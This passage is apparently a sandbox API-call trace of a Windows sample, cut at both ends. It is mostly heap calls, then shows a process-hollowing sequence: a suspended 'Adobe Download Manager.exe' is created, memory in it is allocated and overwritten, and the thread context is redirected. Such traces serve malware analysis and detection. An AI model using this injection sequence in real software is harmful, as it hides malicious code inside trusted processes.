(HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078698 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10786b0 [0140.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4f8 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078770 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078848 [0140.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078800 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10785c0 [0140.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785c0 | out: hHeap=0xe80000) returned 1 [0140.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078860 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10786c8 [0140.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10786e0 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078710 [0140.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10787e8 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078728 [0140.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078788 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078818 [0140.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078890 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078878 [0140.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10787a0 [0140.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba520 [0140.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10785c0 [0140.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7938 [0140.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0xf003b8 [0140.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078650 [0140.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa28 [0140.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078650 | out: hHeap=0xe80000) returned 1 [0140.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf003b8 | out: hHeap=0xe80000) returned 1 [0140.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785c0 | out: hHeap=0xe80000) returned 1 [0140.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba520 | out: hHeap=0xe80000) returned 1 [0140.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9e8 [0140.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10785c0 [0140.763] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0140.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078650 [0140.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf998 [0140.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa28 [0140.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078b90 [0140.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078650 | out: hHeap=0xe80000) returned 1 [0140.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b90 | out: hHeap=0xe80000) returned 1 [0140.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba688 [0140.764] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf998 [0140.764] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078ba8 [0140.764] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa28 [0140.764] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa38 [0140.764] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078968 [0140.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ba8 | out: hHeap=0xe80000) returned 1 [0140.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078968 | out: hHeap=0xe80000) returned 1 [0140.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0140.764] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa28 [0140.764] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078920 [0140.764] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa38 [0140.764] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafc38 [0140.764] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078950 [0140.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078920 | out: hHeap=0xe80000) returned 1 [0140.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0140.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078950 | out: hHeap=0xe80000) returned 1 [0140.765] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc38 | out: hHeap=0xe80000) returned 1 [0140.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa78 [0140.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10789b0 [0140.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa68 [0140.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa58 [0140.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10788f0 [0140.765] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10789b0 | out: hHeap=0xe80000) returned 1 [0140.765] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa68 | out: hHeap=0xe80000) returned 1 [0140.765] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788f0 | out: hHeap=0xe80000) returned 1 [0140.765] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa58 | out: hHeap=0xe80000) returned 1 [0140.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba520 [0140.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafbe8 [0140.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb48 [0140.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafc08 [0140.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20002) returned 0x1144810 [0140.767] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20002) returned 0x10b7808 [0140.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafbe8 | out: hHeap=0xe80000) returned 1 [0140.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb48 | out: hHeap=0xe80000) returned 1 [0140.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc08 | out: hHeap=0xe80000) returned 1 [0140.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba520 | out: hHeap=0xe80000) returned 1 [0140.772] CreateProcessW (in: lpApplicationName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpCommandLine="", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xbded30*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbdee2c | out: lpCommandLine="", lpProcessInformation=0xbdee2c*(hProcess=0x2a4, hThread=0x2b0, dwProcessId=0x123c, dwThreadId=0x127c)) returned 1 [0140.931] GetThreadContext (in: hThread=0x2b0, lpContext=0xbdea64 | out: lpContext=0xbdea64*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x77c000, Edx=0x0, Ecx=0x0, Eax=0x2d7dcd, Ebp=0x0, Eip=0x77298fe0, SegCs=0x23, EFlags=0x202, Esp=0xfffca4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0140.956] ReadProcessMemory (in: hProcess=0x2a4, lpBaseAddress=0x77c008, lpBuffer=0xbdee10, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xbdee10*, lpNumberOfBytesRead=0x0) returned 1 [0140.956] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x40) returned 0x35b0000 [0140.957] VirtualAllocEx (hProcess=0x2a4, lpAddress=0x400000, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x40) returned 0x0 [0140.960] VirtualAllocEx (hProcess=0x2a4, lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x40) returned 0x1000000 [0140.961] memcpy (in: _Dst=0x35b0000, _Src=0x107f3f8, _Size=0x400 | out: _Dst=0x35b0000) returned 0x35b0000 [0140.961] memcpy (in: _Dst=0x35b1000, _Src=0x107f7f8, _Size=0x19400 | out: _Dst=0x35b1000) returned 0x35b1000 [0140.963] memcpy (in: _Dst=0x35cb000, _Src=0x1098bf8, _Size=0x600 | out: _Dst=0x35cb000) returned 0x35cb000 [0140.963] memcpy (in: _Dst=0x35cc000, _Src=0x10991f8, _Size=0x0 | out: _Dst=0x35cc000) returned 0x35cc000 [0140.963] memcpy (in: _Dst=0x35cd000, _Src=0x10991f8, _Size=0x800 | out: _Dst=0x35cd000) returned 0x35cd000 [0140.963] memcpy (in: _Dst=0x35ce000, _Src=0x10999f8, _Size=0x1c00 | out: _Dst=0x35ce000) returned 0x35ce000 [0140.964] WriteProcessMemory (in: hProcess=0x2a4, lpBaseAddress=0x1000000, lpBuffer=0x35b0000*, nSize=0x20000, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x35b0000*, lpNumberOfBytesWritten=0x0) returned 1 [0140.973] VirtualProtectEx (in: hProcess=0x2a4, lpAddress=0x1000000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0xbdedf0 | out: lpflOldProtect=0xbdedf0*=0x40) returned 1 [0167.889] VirtualProtectEx (in: hProcess=0x2a4, lpAddress=0x1001000, dwSize=0x19224, flNewProtect=0x20, lpflOldProtect=0xbdedf0 | out: lpflOldProtect=0xbdedf0*=0x40) returned 1 [0167.904] VirtualProtectEx (in: hProcess=0x2a4, lpAddress=0x101b000, dwSize=0x494, flNewProtect=0x4, lpflOldProtect=0xbdedf0 | out: lpflOldProtect=0xbdedf0*=0x40) returned 1 [0167.905] VirtualProtectEx (in: hProcess=0x2a4, lpAddress=0x101c000, dwSize=0xb5d, flNewProtect=0x4, lpflOldProtect=0xbdedf0 | out: lpflOldProtect=0xbdedf0*=0x40) returned 1 [0167.905] VirtualProtectEx (in: hProcess=0x2a4, lpAddress=0x101d000, dwSize=0x79e, flNewProtect=0x4, lpflOldProtect=0xbdedf0 | out: lpflOldProtect=0xbdedf0*=0x40) returned 1 [0167.906] VirtualProtectEx (in: hProcess=0x2a4, lpAddress=0x101e000, dwSize=0x1a58, flNewProtect=0x2, lpflOldProtect=0xbdedf0 | out: lpflOldProtect=0xbdedf0*=0x40) returned 1 [0167.906] VirtualFree (lpAddress=0x35b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0167.911] WriteProcessMemory (in: hProcess=0x2a4, lpBaseAddress=0x77c008, lpBuffer=0xbdee4c*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xbdee4c*, lpNumberOfBytesWritten=0x0) returned 1 [0167.915] SetThreadContext (hThread=0x2b0, lpContext=0xbdea64*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x77c000, Edx=0x0, Ecx=0x0, Eax=0x101a1f8, Ebp=0x0, Eip=0x77298fe0, SegCs=0x23, EFlags=0x202, Esp=0xfffca4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, 